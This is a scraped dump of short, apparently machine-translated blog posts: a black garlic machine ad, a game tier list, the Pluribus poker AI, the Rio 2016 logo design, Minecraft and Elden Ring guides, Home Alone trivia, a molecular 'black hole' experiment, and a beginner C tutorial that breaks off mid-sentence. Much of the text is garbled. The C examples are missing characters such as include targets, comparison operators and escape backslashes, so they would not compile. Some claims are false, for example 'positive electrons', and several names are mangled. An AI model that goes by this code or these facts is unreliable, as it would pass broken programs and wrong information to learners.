Don't have to wait long. Bring back the black garlic guaranteed, good for health.\n  Easy to use Black garlic machine Magic Korea A69 designed electronic button and has an extremely easy to use light. Once you have put the garlic in the tray, close it and press the On / Off button. Then click on the Garlic button will have a screen showing the number of easy to observe garlic hours.\nBuy the machine to make Magic black garlic where quality? META.vn is a very reliable e-commerce website. Black Garlic Magic making machine sold at META.vn has a 12-month warranty period, made in China.\nCustomers can buy Online by visiting META.vn or go to buy directly at two addresses:\nMETA Hanoi: No. 56 Duy Tan, Dich Vong Hau Ward, Cau Giay, Hanoi / Tel: 024.35.68.69.69\nMETA HCM City: 716-718 Dien Bien Phu, Ward 10, District 10, Ho Chi Minh City / Phone: 028.38.33.33.66 Magic black garlic making machine is one of the very good black garlic incubators on the market. Hopefully, this machine will help you make nutritious black garlic to protect the health of the whole family.\nncG1vNJzZmismaXArq3KnmWcp51ktrR506GcZqWRmLWqusRmpJqjmaO0bq7LmpqkZZeWv621wmakmp%2BZmHqou86d\n","link":"/post/is-the-machine-making-black-garlic-magic-good/","section":"post","tags":null,"title":"Is the machine making black garlic Magic good?"},{"body":"Ranking of generals in the Arena of Truth always changes with each updated version due to the increase or decrease of power from Riot Games. Based on the ranking of general strength in the Arena of Truth, gamers can know which champions are strongest according to each stage of the game and choose a team based on the ranking of these generals.\nBelow is a ranking of strong to weak champions in DTCL 9.23, please choose the most appropriate generals for your team.\nHow to view the history of the Arena of Truth, the history of League of Legends How to register to download the Arena of Truth Mobile earliest Some tips to help you advance to the Top 4 easily in the Arena of Truth Ranking champions from strong to weak DTCL 9.23 - season 2 The generals are ranked based on the Tier as:\nS-Tier: The most powerful generals that gamers should prioritize in their squad. A-Tier: Champions fit in many strong roster in the meta B-Tier: Heroes are only strong when it suits the situation Not listed: The champion is not very strong and is willing to leave if there are better options or they are not suitable for a strong squad. Strong champion in the early game DTCL 9.23   Best and most optimal (S-Tier): Ivern, Kindred, Kog'Maw, LeBlanc, Malzahar, Maokai, Neeko, Qiyana, Sivir, Vayne, Vladimir, Zyra. Great (A-Tier): Aatrox, Azir, Diana, Jax, Nasus, Nautilus, Nocturne, Rek'Sai, Renekton, Soraka, Taliyah, Veigar, Yasuo. Fair (B-Tier): Braum, Ornn, Sion, Skarner, Syndra, Thresh, Volbear, Warwick. Some strong champions should be used early in the game:\n  \nMaokai, Ivern: Natural-type champions will be very strong at the beginning of the game and can switch teams in the middle of the game pretty well, though both have been nerfed in this version 9.23. Malzahar, Zyra: Summoners will be quite strong if they have a good tanker at the beginning and have enough equipment to not bother with any squad. Kindred: Like Kennen in DTCL Season 1, Kindred will activate all 3 effects for the squad. Very powerful to connect squad and switch formers Archers - Light / Dark . Strong champion in the DTCL match 9.23   Best and most optimal (S-Tier): Annie, Brand, Kha'Zix, Kindred, Malphite, Malzahar, Yorick. Great (A-Tier): Aatrox, Ashe, Azir, Diana, Dr Mundo, Janna, Jax, Kog'Maw, Nocturne, Olaf, Qiyana, Rek'Sai, Sivir, Varus, Vayne, Vladimir, Yasuo, Zyra. Fair (B-Tier): Braum, Ezreal, Ivern, Leblanc, Maokai, Nasus, Nautilus, Neeko, Ornn, Renekton, Sion, Skarner, Soraka, Syndra, Taliyah, Thresh, Twitch, Veigar, Volbear, Warwick. Some strong champions should be used in the middle of the game:\n  \nMalphite: Buffaloes with quite good marketing skills, butting many times if carrying items and in any team also live well. Kindred: The 2 Star damage is already quite high, the harder it is to equip equipment, the harder it will be to fight back. Up to 3 stars, the ability of the enemy team to live less than 10%. Annie: The name is quite hot at the moment if you go with a Wizard or Summon team. Especially the Wizard because if there is a Wizard, he can \"lay\" out 2 Tibber. Brand: Quite a strong team with wizards or a tanker and support team. Alone \"Brand\" burden for the team still spread. Kha'Zix: Good team play even if it is only 2 stars, go with the Assassin team and the effect of Sand buff is also very strong. If there is more Infinity Sword, the enemy team will die very quickly. Yorick: Both the Summoner and Light Summoners are strong, despite being nerfed, they will still be very strong and worth raising if they stand in the right formation. Strong champion at the end of the DTCL 9.23   Best and most optimal (S-Tier): Annie, Brand, Kha'Zix, Kindred, Malphite, Malzahar, Yorick. Great (A-Tier): Azir, Ashe, Azir, Diana, Dr. Mundo, Janna, Jax, Kog'Maw, Nocturne, Olaf, Qiyana, Rek'Sai, Sivir, Varus, Vayne, Vladimir, Yasuo, Zyra. Fair (B-Tier): Braum, Ezreal, Ivern, Leblanc, Maokai, Nasus, Nautilus, Neeko, Ornn, Renekton, Sion, Skarner, Soraka, Syndra, Taliyah, Thresh, Twitch, Veigar, Volibear, Warwick. Some strong champions should be used at the end of the game:\n  Lux: Depending on whether Lux's Element helps you gain additional buff effect, if the right element you need, pick immediately to get more effects. Singed: Has nerfed but still has a place in quite a lot of squads, especially used to counter the Wizard team, off the table. Annie: If there is a Wizard hat to call 2 bears to tank, then carry the Wizard himself. Zed: Quite strong if there are enough Lightning buffs and when accompanied by the Summon or Assassin team. Kha'Zix: Up 2 stars and full map then Kha'Zix is ​​really a threat to the back of the enemy team. And he could hardly die early with his ability to jump over and over. Nami or \"Teacher Yi\": Nami with his great control will cause the entire enemy team to be frozen for the other champions to deal damage. And Master Yi will be strong if the last character to appear in the team has enough Shadow and Swordsman. With the list of strongest champions in DTCL 9.23 above, you can know which champions have been optimized for strength and know which squad to put in the right team to maximize their strength.\nncG1vNJzZmismaXArq3KnmWcp51kv6K6ymaroZ1dqMGzu82gnKysXZi1ornPoqanZZmjeqXAwqVkcmpj\n","link":"/post/rank-the-strongest-champion-in-dtcl-9-23/","section":"post","tags":null,"title":"Rank the strongest champion in DTCL 9.23"},{"body":"Facebook and researchers at Carnegie Mellon University have teamed up to develop a software called Pluribus. This software defeated a number of world famous poker players in a 6-player game. Thus, after chess and Go, artificial intelligence continues to defeat humans in poker, a card game.\nPoker has a complicated and difficult gameplay when each player has very little information about the opponent and can use many different strategies to win. Therefore, poker offers more challenges for AI than chess.\nBusiness Insider said that all of Pluribus's competitors are professional poker players, each of them has earned at least $ 1 million in bonuses in his career.\nNoam Brown and Tuomas Sandholm researchers said that Pluribus did the impossible when defeating 5 other players to win a complicated 6-person poker game.\nAccording to Telegraph, this is an important milestone in the development of artificial intelligence, opening up new opportunities for AI to receive and solve many problems in the real world.\nInvite to listen to Rock music created by artificial intelligence (AI) Japan's artificial intelligence has created ultra-realistic virtual fashion models ncG1vNJzZmismaXArq3KnmWcp51kwamxjJqgZl11Z3J5fIRxeV59YlqFcXGXe6Knp6eoeqm71marqGWgoa66ec%2Boop6qXZeyosDIp55mrJiaeqOx0q1koqZdqbWmedaoqaWcXZ67bq2Mb6elmamav26zwKac\n","link":"/post/the-ai-knows-how-to-play-poker-beating-the-best-in-the-world-in-a-6-player-game/","section":"post","tags":null,"title":"The AI ​​knows how to play poker, beating the best in the world in a 6-player game"},{"body":"The Olympics is a place where many dreams come true, including designers - creators of everything from logos, images on tickets, mascots to medals for each Olympics\nIn order for all of these jobs to be completed by the time of the event, the Olympic Committee is forced to use outsource services from many different firms. In addition, due to the overlap in the design process, the two firms were unable to work together on a project. The proof is the Rio 2016 logo created by Tátil Design de Ideias - a design company in Brazil, while the exclusive font of the Olympics is built by Dalton Maag - a supplier of typeface in England. erect (now also has a \"satellite\" office in Brazil). It is this factual situation that suggests a very interesting collaboration study case - two companies of two cultures are forced to work together to create the final product that will be admired by the line. hundred million people in the world.\nSee more:\nTop 10 \"weird\" competitions at the Rio 2016 Olympic Games Why do Olympic swimmers wear two swim caps? History of birth and development of the Olympic Games   1. Logo When Tátil Design's creative director Frederico Gelli discovered that there were more than 138 agencies competing to win the logo for the Rio 2016 Olympic logo, the first thought that appeared in his mind was simply to give up. : \"I thought it was impossible to win\". The Olympic Committee is required to submit a near-complete logo sketch - too hard to do without having any feedback.\nHowever, after a while of thinking, Gelli decided to try. Over the next two months, all of his agency members contributed ideas and eventually, they selected a logo for the best 2016 Olympics.\"This logo is not designed for designers but for everyone in the world. It represents the power of Brazil and how we welcome you.\"\nAccording to Gelli, the hardest part of the whole design process is to keep the last idea from being revealed for about four months from the time it was selected until the Olympic Design Committee made an official announcement. Only 10 members of Gelli's company were known, so he and the other 9 colleagues had to create a \"fake\" project for people to doubt and focus on working. This secret is so hidden that they have placed a wall separating the studio and everyone has to confirm the fingerprint to enter the \"top secret\" area.\nNow that everything has been published, Gelli is ready to share more information behind his project and here are some very interesting things that you might be interested in.\n  Mount Brothers (Photo: Rodrigo Soldon)\nInspired Gelli shared that he had the idea of ​​a 3D logo while swimming in Ipanema Sea.\"I swim underwater and when I was on the surface, I saw Dois Irmãos (Mount Huynh De). And as mentioned before, because living in the middle of a city famous for sculpture, we needed to create a The logo is harmonious, all the curves of the logo shape are inspired by the mountains of Rio de Janeiro - not only Sugarloaf but also all other mountains. \"\nIn the design process \"This is the original logo. You can see this symbol in caves 1 million years ago and today, they also appear in schools. Using it makes the logo become stronger by because in all cultures, it carries a good meaning - representing unity and power, and, depending on each person, they may feel different meanings. even, the mayor of Rio said that he could see the city of Rio in it, \" Gelli said in a funny voice.\n  The improvement of the logo\nThe importance of using 3D Modeling in design Although Tátil had a 3D concept from the first sketches, the logo was born as a graphical representation because this is still the main expression. However, when the team took the final shape of the logo, Tátil went back to using 3D modeling to see how the logo would look in 3D and whether there were other expressions for the idea.\"We want people to be able to see the nature of a 3D product in a completely different 2D version,\" Gelli explains.\n  Rio 2016 Olympic logo and Paralympic Rio 2016 logo - both designed by Tátil Design\nColor board Gelli said: \"We have a city and a colorful culture. Those colors are connected to the human nature of my country. Green represents Tijuca Forest - one of the The world's largest mountain, blue is the ocean - where the cool and yellow / orange waters are inspired by the warm climate \".\nThe biggest challenge After the image of the logo has been completed, the next step is to design a limited set of characters. The typeface is done by another company, so Tatil Design must find ways to ensure that the logo is both charming and visually coordinated with the word \"Rio 2016\".\n\"Initially, because the logo was so powerful, we decided to create a neat typeface without having to own many personalities. The logo still played a key role and the word would make it stand out. However, the Olympic Committee asked for the logo to have the same identity as the typeface, so we hired a Typography expert to draw 150 different typefaces on paper to find the one that best fits the logo - curves, logo drawings, logo meaning - before choosing the final product \".\n2. Font About 18 months after Tátil Design's Rio 2016 logo was completed, Dalton Maag received the font design notice. Similarly, the meeting with Maag is also done secretly.\nMaag said that the message he received is that the font must be an exact copy of the characters in the logo and this is really a challenge because the creative process has been reversed.\"Usually, we will create a font, then, a new logo\" and Maag only has 3 RIO characters and 4 numbers 2-0-1-6 to create. Below is a picture of the process that Maag and his six team members built them - nearly 500 characters in all (including repeated characters).\n  The version of the \"n\" - is mimicked like the curve of a wave\nchallenges \"The difference between a logo and font is in a logo, the combination of characters will form a set, and in the font, each character needs to be beautifully designed and matched with other characters\" , Maag said. \"In logos, some characters are very easy to change like\" R \"or\" 2 \"but\" 1 \"and\" o \"are the opposite, so finding a balance can be combined in one system. Such harmonious systems are our greatest challenge. \"\nHow did Dalton Maag begin? \"Looks like there are\" R \",\" i \",\" o \"characters and we just need to adjust their size. However, the difficulty here is that it is impossible to use the same characters ( with the same ratio) into the logo because of the lack of connection with the remaining words, so we started using different words - including \"passion\" and \"transformation\" (the transition). ) - there are many ligature to see if a letter can be connected and matched with other words \".\nHaag continues to share: \"Choosing the right words is the key to the success of a concept. Here you have the word\" passion \"and below you can see a lot of similarities. self in \"Rio 2016. After that, we expanded with 23 concepts and started to compare them with another font (font writing\" passion \"). To the 24th concept, we used the word \"transformation\" [Transformação] with 3 ligature, including \"s\", \"f\", \"o\" and you can see the combination This is in \"1\" and \"6\" in the word Rio 2016 \".\n  The font is compared with another font in two words \"transformation\" (Transformação) and \"passion\" (Paixao)\nOvercome \"Another challenge is to improve the interconnection of letters as if a difference is not good enough. I began to enlarge letters on large sheets of paper, then change the connection between For fonts to look like handwritten and natural, we had to create a lot of alternate characters.There are two versions of the \"b,\" d \"characters, \"p\", \"g\" and the selected version are based on the preceding and following characters. Thus, the connections become much more elegant. \"\nThe importance of sketching process \"In order to understand what fonts will look like, it is important to understand how they are written. We realize that creating a copy of a logo is not about using a pen to write something but a pattern. For example, the \"n\" is like a wave.Anywhere on a classic script font, you can easily see the traces to continue editing. and create links between characters.Putting on paper is very important to see how the original logo is written, whether it stands out, \"soul\" and whether it will create such a connection. Which between the letters \".\n  The thickness and curvature of the characters has been considered and revised to make the connection with other letters in the alphabet\n  Letters and numbers make up the font of the 2016 Olympics\n3. Links \"For this project, we had to be more careful to create the best product to be admired by hundreds of millions of people around the world. However, we have no discrimination and no Realizing that I had to create up to 23 different versions to get the end result, Font is the client's property - the most important asset to affirm their own identity. \"\nncG1vNJzZmismaXArq3KnmWcp51kwamxjJ6vnKGknruoedKtpquxXZeyqbXNnWStoJViv6q7jGtnam5dpLm6uc%2Bimmakn5y8bq%2FRnpitoZ%2BjerG%2BzpycrKs%3D\n","link":"/post/the-exciting-story-behind-the-rio-2016-olympic-logo-creation-process/","section":"post","tags":null,"title":"The exciting story behind the Rio 2016 Olympic logo creation process"},{"body":"With Minecraft 1.18 Caves and Cliffs update, a lot of new features have been added to the game, including new locations and biomes. In particular, the following locations are the hardest to find in Minecraft 1.18.\nTOP hardest places to find in Minecraft 1.18 End City   In Minecraft 1.18, it is very difficult for the player to reach the End City as this requires collecting enough Ender Eyes, finding the Stronghold and making the journey to this location. Moreover, gamers must defeat Ender Dragon, one of the most dangerous bosses, and cross the void to reach this city. The roads to these cities are quite dangerous and difficult to travel.\nMushroom Field   Mushroom Field is the best biome to grow mushrooms in Minecraft. But it's also one of the rarest biomes in the game. So it's hard to locate and make your way to the Mushroom Field to pick up and grow mushrooms and other useful ingredients in this field. The character needs a lot of mushrooms to eat and survive in this game.\nBasalt Delta   Basalt Delta is one of the rarest Minecraft Nether locations. Moreover, the Nether in this game is very difficult to enter. It is also a dangerous area to explore, requiring the player to enter the Nether, locate the basalt plains, and travel to this biome. The player must be special when moving every turn on the map.\nBadland   The Badland biome appears in the Overworld, but its incidence is very low. Eroded Badland is even rarer in Minecraft 1.18. Finding these biomes takes a lot of effort for gamers. Badland looks like desert but they have more colors of rocks and sand. So Badland is one of the most beautiful biomes in this game that players should visit.\nFrozen Peak   Snowy Mountain is a new addition to Minecraft that is incredibly beautiful and fun to visit and explore. However, it is also challenging for those who want to conquer the frozen peak. These peaks are formed by blocks of ice and snow. So they have two main colors blue and white. Many people consider Frozen Peak one of the most beautiful locations in Minecraft to admire.\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jKGYq5yVqMFuvMuamp6rXam8brLIp5tmoZ5iuqq6xJypmp6kYn5yhIycmK%2Bdo2Kur7CMnKOinpao\n","link":"/post/top-hardest-places-to-find-in-minecraft-1-18-caves-and-cliffs/","section":"post","tags":null,"title":"TOP hardest places to find in Minecraft 1.18 Caves and Cliffs"},{"body":"\" At home alone \" (Home alone) is a popular comedy that is shown every Christmas for families. Surely every one of us has ever seen this movie, the film tells the story of an incredibly creative boy - Kevin and two \" not-smart \" criminals. Even, this film was listed on the Guinness Book of Records as one of the biggest hits of all time.\nEven though you have watched this movie dozens, hundreds of times, but you never know about 13 interesting secrets in this movie. Let's explore the interesting things below!\n © 20 Film Corporation Century Fox\nIn fact, the picture of Buzz's girlfriend (Kevin's brother) is not a girl but a guy's photo that has been disguised. The person in the picture is the son of the director of Home Alone. Because the director doesn't want to make trouble with a teenage girl by using her own true image.\n © 20 Film Corporation Century Fox\nActor Joe Pesci (Harry's thief) forgets that he is filming a comedy for children that often misses his words during filming. The film director advised him to use the word \"fridge\" to replace the word \"f ***\".\n © 20th Century Fox Film Corporation\nTo get real footage, actor Joe Pesci wants child actor Macaulay Culkin (Kevin) to really feel afraid of him, so he tries to face the boy as little as possible. Even in the scene of hanging Macaulay Culkin on a hook, Joe Pesci actually bit the boy's finger to bleed and said: \" Every time I bite into a little finger of yours \".\n © Warner Brothers\nThe movie \" Angel with filthy soul \" (Angels With Filthy Souls) that Kevin considers while at home is actually not real. The scene of the gangster's fight scene was filmed exclusively for the movie \" At home alone \".\n © 20th Century Fox Film Corporation\nTarantula spider crawling on the face of actor Daniel Stern (as a thief) is a real spider. In order not to frighten the spider, actor Daniel Stern had to turn his face muscles around when he screamed in horror, and the sound had to be recorded later.\n © 20th Century Fox Film Corporation\nAlmost every scene in Home Alone was filmed in Chicago, and the Paris airport shot was actually shot at Chicago's O'Hare International Airport. The luxurious, luxurious setting in the merchant compartment was actually filmed only at a local school basketball court, and the pool was used to flood McCallister's basement.\n © 20th Century Fox Film Corporation\nKevin's home address in the film is home to No. 671 Lincoln Avenue, Winnetka, Illinois. The house consists of 3 floors, designed for households and sold for $ 2.4 million in 2011. The house was purchased in 2012 for $ 1,585 million. Currently the house is a popular tourist attraction.\n © Mario Anzuoni © The 65th Annual Academy Awards\nInitially, the role of the thief Harry invited two actors Robert De Niro and Jon Lovitz to join, but both refused.\n © 20th Century Fox Film Corporation\nMacaulay Culkin's younger brother - Kieran also participated in the film, the boy playing Fuller - Kevin's cousin, the son of the Frank family and Leslie McCallister - who always wet the bed.\n © 20th Century Fox Film Corporation\nThe movie \" Talkboy \" in the movie is actually just a device created exclusively for the movie. However, many fans want to buy a similar item so after a few years, this toy has appeared on store shelves.\n © 20th Century Fox Film Corporation\nSome people believe that there is Elvis Presley in this film. Many of them did not believe in the death of \" rock-n-roll \" so the man had a bushy beard, standing behind Kevin's mother at the airport, screaming at the ticket counter staff. it is Presley.\n © 20th Century Fox Film Corporation\nChristmas ornaments \"sharp\" glass \"used to trap in the film is actually made from soft candy . However, to keep the actor Stern safe, he had to wear a pair of rubber socks in barefoot scenes.\n © 20th Century Fox Film Corporation\nMacaulay Culkin was the one who drew the map of all the places he had trapped in his house. \u0026nbsp;\nncG1vNJzZmismaXArq3KnmWcp51kfnR50p6aq52kqHqirs6uq2asmJp6rrvVopxmq6SWxqq6xmafqKWVYq6tu82eZKaZqWK7sMCMm5xmo56kxK9506hksqel\n","link":"/post/13-secrets-about-the-movie-staying-home-alone-may-not-be-known-to-you/","section":"post","tags":null,"title":"13 secrets about the movie 'Staying home alone' may not be known to you"},{"body":"A molecular black hole was successfully created by the German scientists in the laboratory by projecting the world's most powerful beam of X-rays, the results of which were published in the journal Nature.\nLearn about black holes, white holes and deep holes If people fall into a black hole, what horrors will await them?   Simulation of the molecular black shape created by German scientists in the laboratory.(Photo: DESY.)\nThe crystal of iodomethane compound is 100 times stronger than a beam of X-rays, the intensity of all sunlight converging on a baby spot on the Earth. The crystal contains a large and heavy iodine atom that can interact with X-rays.\nImmediately, X-rays removed all negatively charged electrons on iodine atoms, only retaining positive electrons. These positive charges are very strong, they absorb all the remaining electrons in the molecule within a few millionths of a billionth of a second.\nThe X-ray beam removed 54 of the 62 electrons of the molecule, creating the most powerful positively charged iodomethane molecule ever observed. This causes the molecule to explode into small pieces because it cannot bear such a large charge.\nAccording to Robin Santra, the lead author of the study at the Center for Free Electron Laser Science in Germany, the force of charged iodine atoms affects electrons larger than the gravitational force of black holes in the universe. But the force that makes up the attraction of a molecular black hole is the Coulomb force, not the gravitational force like black holes in the universe.\nThis success helps scientists better understand the structure of viruses and bacteria. At the same time, it also helped them adjust how to use the Linac Coherent Light Source Free-electron device at the SLAC National Accelerator Laboratory in the US, the world's most powerful X-ray source today.\nncG1vNJzZmismaXArq3KnmWcp51ktKa%2BzJqlsmWjqrCksdKsna6knK56pL7EmquenF2ptaZ5waWYnKNdnbytsYyipWasmJp6rrvLnpqupJVixKrAx2aroZ1drLyzuMOsZKano6l6sbvWnqmfrZxixbOt2GaZnpmd\n","link":"/post/germany-successfully-created-the-black-hole-in-the-molecule-with-the-world-s-most-powerful-x-ray-beam/","section":"post","tags":null,"title":"Germany successfully created the 'black hole' in the molecule with the world's most powerful X-ray beam"},{"body":"In fact, the map in this game is almost completely empty, unless the gamer collects map fragments.\nMap pieces in the Elden Ring are essential collectibles and should be the first thing every player should look for when exploring a new area. Map shards are scattered throughout the Lands Between but are easy to find as they always appear on the same ruins that are surprisingly easy to find.\n  The map fragment is essential for the complete map to appear Pieces of the map reveal the Elden Ring world map, but only a small piece of land. It would be accurate to compare this feature to The Legend of Zelda: Breath of the Wild's Sheikah Tower system, as they both show all areas when explored.\nMap pieces are linked to a subregion of the larger area, and collecting them all for one area can help with easier navigation and orientation.\n  Map pieces are automatically added to the player's world map when selected, but they only outline the basic terrain, road, and environmental features of the area.\nThe game allows players to use map markers for a reason: they're the only way to highlight points of interest, helping to get back to hidden bosses, NPCs, or crafting resources. much easier to create.\nHow to find map pieces in Elden Ring To find map pieces in Elden Ring, first take a closer look at your empty map. Although it doesn't show any content and doesn't have much to see, if you look along the faint outline of the roads, gamers will see markers like turrets. These icons show where the Beacon can be found.\nMap pieces for a certain area can be found at the base of these icons, which are tall monuments jutting out from the side of the road.\n  When the map screen is open, place a Beacon on these points with the A (or X) button to mark their position in the world with a beam of light, this will help the player see it where it is. surprisingly long distances.\nSome of these Beacons are surrounded by enemies, such as the first map piece of the Gatefront Ruins Site of Lost Grace, which will be among a small army of Godrick warriors.\nElden Ring ncG1vNJzZmismaXArq3KnmWcp51ktLa1w55kraddm7avsMinnmalkaV6sbXEnJysZZmjeqa4w56lZqqZo7Q%3D\n","link":"/post/guide-to-finding-map-pieces-in-elden-ring/","section":"post","tags":null,"title":"Guide to finding map pieces in Elden Ring"},{"body":" C is one of the older programming languages. It was developed in the 70s, but it is still very powerful thanks to how low-level it is. Learning C is a great way to introduce yourself to more complex languages as well, and the knowledge you...\nPart 1of 6:\nGetting Ready  Download and install a compiler. C code needs to be compiled by a program that interprets the code into signals that the machine can understand. Compilers are usually free, and different compilers are available for different operating systems. For Windows, try Microsoft Visual Studio Express or MinGW. For Mac, XCode is one of the best C compilers. For Linux, gcc is one of the most popular options.   Understand the basics. C is one of the older programming languages, and can be very powerful. It was designed for Unix operating systems, but has been ported and expanded for nearly all operating systems. The modern version of C is C++. C is essentially comprised of functions, and in these functions you can use variables, conditional statements, loops to store and manipulate data.   Examine some basic code. Take a look at the (very) basic program below to get a good idea about how some of the various aspects of the language work together, and to get an idea of how programs function. #include int main() { printf(\"Hello, World!n\"); getchar(); return 0; }  The #include command occurs before the program starts, and loads libraries that contain the functions you need. In this example, stdio.h lets us use the printf() and getchar() functions. The int main() command tells the compiler that the program is running the function called \"main\" and that it will return an integer when it is finished. All C programs run a \"main\" function. The {} indicate that everything inside them is part of the function. In this case, they denote that everything inside is a part of the \"main\" function. The printf() function displays the contents of the parentheses on the user's screen. The quotes ensure that the string inside is printed literally. The n sequence tells the compiler to move the cursor to the next line. The ; denotes the end of a line. Most lines of C code need to end with a semicolon. The getchar() command tells the compiler to wait for a keystroke input before moving on. This is useful because many compilers will run the program and immediately close the window. This keeps the program from finishing until a key is pressed. The return 0 command indicates the end of the function. Note how the \"main\" function is an int function. This means that it will need an integer to be returned once the program is finished. A \"0\" indicates that the program has performed correctly; any other number will mean that the program ran into an error.   Try compiling the program. Enter the code into your code editor and save it as a \"*.c\" file. Compile it in your compiler, typically by clicking the Build or Run button.\n  Always comment on your code. Comments are part of the code that is not compiled, but allows you to explain what is happening. This is useful for reminding yourself what your code is for, and for helping other developers who might be looking at your code. To comment in C place /* at the start of the comment and */ at the end. Comment on all but the most basic parts of your code. Comments can be used to quickly remove parts of your code without deleting them. Simply enclose the code you want to exclude with comment tags and then compile. If you want to add the code back, remove the tags.  Part 2of 6:\nUsing Variables  Understand the function of variables. Variables allow you to store data, either from computations in the program or from user input. Variables need to be defined before you can use them, and there are several types to choose from. Some of the more common variable types include int, char, and float. Each one stores a different type of data.   Learn how variables are declared. Variables need to be established, or \"declared\", before they can be used by the program. You declare a variable by entering the data type followed by the variable's name. For example, the following are all valid variable declarations: float x; char name; int a, b, c, d;  Note that you can declare multiple variables on the same line, as long as they are the same type. Simply separate the variable names with commas. Like many lines in C, each variable declaration line needs to end with a semicolon.   Know where to declare variables. Variables must be declared at the beginning of each code block (The parts of your code that are enclosed in {} brackets). If you try to declare a variable later in the block, the program will not function correctly.\n  Use variables to store user input. Now that you know the basics of how variables work, you can write a simple program that will store the user's input. You will be using another function in the program, called scanf. This function searches the input that is provided for specific values. #include int main() { int x; printf( \"Enter a number: \" ); scanf( \"%d\", \u0026amp;x ); printf( \"You entered %d\", x ); getchar(); return 0; }  The \"%d\" string tells scanf to look for integers in the user input. The \u0026amp; before the variable x tells scanf where to find the variable in order to change it, and stores the integer in the variable. The final printf command reads back the input integer to the user.   Manipulate your variables. You can use mathematical expressions to manipulate the data that you have stored in your variables. The most important distinction to remember for mathematical expressions is that a single = sets the value of the variable, while == compares the values on either side to see if they are equal. x = 3 * 4; /* sets \"x\" to 3 * 4, or 12 */ x = x + 3; /* adds 3 to the original value of \"x\", and sets the new value as the variable */ x == 15; /* checks to see if \"x\" equals 15 */ x 10; /* checks if the value of \"x\" is less than 10 */   Part 3of 6:\nUsing Conditional Statements  Understand the basics of conditional statements. Conditional statements are what drive most programs. They are statements that are determined to be either TRUE or FALSE, and then acted upon based on the result. The most basic of the statements is the if statement. TRUE and FALSE work differently in C than what you might be used to. TRUE statements always end up equaling a nonzero number. When you perform comparisons, if the result is TRUE then a \"1\" is returned. If the result is FALSE, then a \"0\" is returned. Understanding this will help you see how IF statements are processed.   Learn the basic conditional operators. Conditional statements revolve around the use of mathematical operators that compare values. The following list contains the most commonly used conditional operators. \u0026gt; /* greater than */ /* less than */ \u0026gt;= /* greater than or equal to */ /* less than or equal to */ == /* equal to */ != /* not equal to */  10 \u0026gt; 5 TRUE 6 15 TRUE 8 \u0026gt;= 8 TRUE 4 8 TRUE 3 == 3 TRUE 4 != 5 TRUE    Write a basic IF statement. You can use IF statements to determine what the program should do next after the statement is evaluated. You can combine it with other conditional statements later to create powerful multiple options, but for now write a simple one to get used to them. #include int main() { if ( 3 5 ) printf( \"3 is less than 5\"); getchar(); }    Use ELSE/ELSE IF statements to expand your conditions. You can build upon IF statements by using ELSE and ELSE IF statements to handle different results. ELSE statements run if the IF statement is FALSE. ELSE IF statements allow you to include multiple IF statements into one code block to handle various cases. See the example program below to see how they interact. #include int main() { int age; printf( \"Please enter your current age: \" ); scanf( \"%d\", \u0026amp;age ); if ( age 12 ) { printf( \"You're just a kid!n\" ); } else if ( age 20 ) { printf( \"Being a teenager is pretty great!n\" ); } else if ( age 40 ) { printf( \"You're still young at heart!n\" ); } else { printf( \"With age comes wisdom.n\" ); } return 0; }  [1] The program takes the input from the user and takes it through the IF statements. If the number satisfies the first statement, then the first printf statement is returned. If it does not satisfy the first statement, it is taken through each ELSE IF statement until it finds one that works. If it doesn't match any of them, it goes through the ELSE statement at the end.  Part 4of 6:\nLearning Loops  Understand how loops work. Loops are one of the most important aspects of programming, as they allow you to repeat blocks of code until specific conditions are met. This can make repeating actions very easy to implement, and keeps you from having to write new conditional statements each time you want something to happen. There are three main types of loops: FOR, WHILE, and DO...WHILE.   Use a FOR loop. This is the most common and useful loop type. It will continue running the function until the conditions set in the FOR loop are met. FOR loops require three conditions: initializing the variable, the condition to be met, and the way the variable is updated. If you don't need all of these conditions, you will still need to leave a blank space with a semicolon, otherwise the loop will run forever.[2] #include int main() { int y; for ( y = 0; y 15; y++;){ printf( \"%dn\", y ); } getchar(); }  In the above program, y is set to 0, and the loop continues as long as the value of y is less than 15. Each time the value of y is printed, 1 is added to the value of y and the loop is repeated. Once y = 15, the loop will break.   Use a WHILE loop. WHILE loops are more simple than FOR loops. They only have one condition, and the loop acts as long as that condition is true. You do not need to initialize or update the variable, though you can do that in the main body of the loop. #include int main() { int y; while ( y 15 ){ printf( \"%dn\", y ); y++; } getchar(); }  The y++ command adds 1 to the y variable each time the loop is executed. Once y hits 16 (remember, this loop goes as long as y is less than or equal to 15), the loop breaks.   Use a DO...WHILE loop. This loop is very useful for loops that you want to ensure run at least once. In FOR and WHILE loops, the condition is checked at the beginning of the loop, meaning it could not pass and fail immediately. DO...WHILE loops check conditions at the end of the loop, ensuring that the loop executes at least once. #include int main() { int y; y = 5; do { printf(\"This loop is running!n\"); } while ( y != 5 ); getchar(); }  This loop will display the message even though the condition is FALSE. The variable y is set to 5 and the WHILE loop is set to run when y does not equal 5, so the loop terminates. The message was already printed since the condition is not checked until the end. The WHILE loop in a DO...WHILE set must be ended with a semicolon. This is the only time a loop is ended with a semicolon.  Part 5of 6:\nUsing Functions  Understand the basics of functions. Functions are self-contained blocks of code that can be called upon by other parts of the program. They make it very easy to repeat code, and they help make the program simpler to read and change. Functions can include all of the previously-covered techniques learned in this article, and even other functions. The main() line at the beginning of all of the above examples is a function, as is getchar() Functions are essential to efficient and easy-to-read code. Make good use of functions to streamline your program.   Start with an outline. Functions are best created when you outline what you want it to accomplish before you begin the actual coding. The basic syntax for functions is \"return_type name ( argument1, argument2, etc.);\". For example, to create a function that adds two numbers: int add ( int x, int y );  This will create a function that adds two integers (x and y) and then returns the sum as an integer.   Add the function to a program. You can use the outline to create a program that takes two integers that the user enters and then adds them together. The program will define how the \"add\" function works and use it to manipulate the input numbers. #include int add ( int x, int y ); int main() { int x; int y; printf( \"Enter two numbers to add together: \" ); scanf( \"%d\", \u0026amp;x ); scanf( \"%d\", \u0026amp;y ); printf( \"The sum of your numbers is %dn\" , add( x, y ) ); getchar(); } int add ( int x , int y ) { return x + y; }  Note that the outline is still located at the top of the program. This tells the compiler what to expect when the function is called and what it will return. This is only necessary if you want to define the function later in the program. You could define add() before the main() function and the result would be the same without the outline. The actual functionality of the function is defined at the bottom of the program. The main() function collects the integers from the user and then sends them to the add() function to be processed. The add() function then returns the results to main() Now the add() has been defined, it can be called anywhere in the program.  Part 6of 6:\nContinuing to Learn  Find a few C programming books. This article covers the basics, but it only scratches the surface of C programming and all the associated knowledge. A good reference book will help you solve problems and save you from a lot of headaches down the road.\n  Join some communities. There are lots of communities, both online and in the real world, dedicated to programming and all of the languages that 